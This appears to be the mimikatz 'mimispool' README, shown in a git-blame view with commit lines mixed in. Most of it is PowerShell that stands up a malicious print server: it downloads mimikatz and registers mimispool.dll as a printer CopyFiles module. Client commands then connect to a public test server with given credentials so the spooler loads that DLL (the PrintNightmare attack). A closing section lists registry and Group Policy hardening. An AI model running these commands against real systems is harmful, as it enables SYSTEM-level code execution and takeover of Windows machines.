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mimikatz/mimispool/README.md

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Update README.md
2021-08-12 17:34:30 +00:00
## PowerShell commands
### Server
#### install
```
[update] mimispool PowerShell commands to use only one printer, from Microsoft
2021-07-30 21:18:04 +00:00
$printerName = 'Kiwi Legit Printer'
$system32 = $env:systemroot + '\system32'
$drivers = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
Invoke-WebRequest -Uri 'https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip' -OutFile '.\mimikatz_trunk.zip'
Expand-Archive -Path '.\mimikatz_trunk.zip' -DestinationPath '.\mimikatz_trunk'
Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll')
Add-PrinterDriver -Name 'Generic / Text Only'
Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
Update README.md
2021-08-12 17:34:30 +00:00
```
#### uninstall
```
[update] mimispool PowerShell commands to use only one printer, from Microsoft
2021-07-30 21:18:04 +00:00
$printerName = 'Kiwi Legit Printer'
$system32 = $env:systemroot + '\system32'
$drivers = $system32 + '\spool\drivers'
Remove-Printer -Name $printerName
Start-Sleep -Seconds 2
Remove-PrinterDriver -Name 'Generic / Text Only'
Update README.md
2021-08-12 17:34:30 +00:00
Remove-Item -Force -Path ($drivers + '\x64\3\mimispool.dll')
Remove-Item -Force -Path ($drivers + '\W32X86\3\mimispool.dll')
Remove-Item -Force -Path ($system32 + '\mimispool.dll')
```
### Client
#### Any computer with explicit credential to `printnightmare.gentilkiwi.com`
```
[update] mimispool PowerShell commands to use only one printer, from Microsoft
2021-07-30 21:18:04 +00:00
$serverName = 'printnightmare.gentilkiwi.com'
$username = 'gentilguest'
$password = 'password'
$printerName = 'Kiwi Legit Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName
$credential = (New-Object System.Management.Automation.PSCredential($username, (ConvertTo-SecureString -AsPlainText -String $password -Force)))
Remove-PSDrive -Force -Name 'KiwiLegitPrintServer' -ErrorAction SilentlyContinue
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
New-PSDrive -Name 'KiwiLegitPrintServer' -Root ('\\' + $serverName + '\print$') -PSProvider FileSystem -Credential $credential | Out-Null
Add-Printer -ConnectionName $fullprinterName
$driver = (Get-Printer -Name $fullprinterName).DriverName
Remove-Printer -Name $fullprinterName
Remove-PrinterDriver -Name $driver
Update README.md
2021-08-12 17:34:30 +00:00
Remove-PSDrive -Force -Name 'KiwiLegitPrintServer'
# mimispool still in spool\drivers
```
#### Computer in domain (single sign on with current user to print server)
```
[update] mimispool PowerShell commands to use only one printer, from Microsoft
2021-07-30 21:18:04 +00:00
$serverName = 'print.lab.local'
$printerName = 'Kiwi Legit Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
$driver = (Get-Printer -Name $fullprinterName).DriverName
Remove-Printer -Name $fullprinterName
Update README.md
2021-08-12 17:34:30 +00:00
Remove-PrinterDriver -Name $driver
# mimispool still in spool\drivers
```
## Protect
_to adapt to your environment_
Update README.md
2021-09-17 18:05:32 +00:00
**Please, do not set `RestrictDriverInstallationToAdministrators` to `0` without these settings**
Update README.md
2021-08-12 17:34:30 +00:00
### Registry
#### `.reg` file
```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint]
"PackagePointAndPrintOnly"=dword:00000001
"PackagePointAndPrintServerList"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServers]
"1"="/your really legit servers or invalid entry !/"
```
#### commands
```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" /f /v PackagePointAndPrintServerList /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServers" /f /v 1 /t REG_SZ /d "/your really legit servers or invalid entry !/"
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" /f /v PackagePointAndPrintOnly /t REG_DWORD /d 1
```
Update README.md
2021-09-17 18:05:32 +00:00
### Registry with real printer servers and allowing non-administrators to install package P&P drivers & printers
#### `.reg` file
```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint]
"PackagePointAndPrintOnly"=dword:00000001
"PackagePointAndPrintServerList"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServers]
"srv1.fqdn"="srv1.fqdn"
"srv2.fqdn"="srv2.fqdn"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint]
"RestrictDriverInstallationToAdministrators"=dword:00000000
```
#### commands
```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" /f /v PackagePointAndPrintServerList /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServers" /f /v "srv1.fqdn" /t REG_SZ /d "srv1.fqdn"
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServers" /f /v "srv2.fqdn" /t REG_SZ /d "srv2.fqdn"
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" /f /v PackagePointAndPrintOnly /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /f /v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 0
```
Update README.md
2021-08-12 17:34:30 +00:00
### GPO / Local
In `Computer Configuration`, `Administrative Templates`, `Printers`, enable:
- `Only use Package Point and Print`
- `Package Point and Print - Approved servers`
![image](https://user-images.githubusercontent.com/2307945/129240741-b2a0ba14-6858-4c3f-ad07-07fa55efca29.png)
Update README.md
2021-09-17 18:05:32 +00:00
### GPO with real printer servers and allowing non-administrators to install package P&P drivers & printers
Same configuration as previously - _with real printer server names this time_ - but do not forget to add registry key `RestrictDriverInstallationToAdministrators` to `0`
![image](https://user-images.githubusercontent.com/2307945/133833820-a66b3ffd-a3aa-43a2-a1bf-14581a2a7492.png)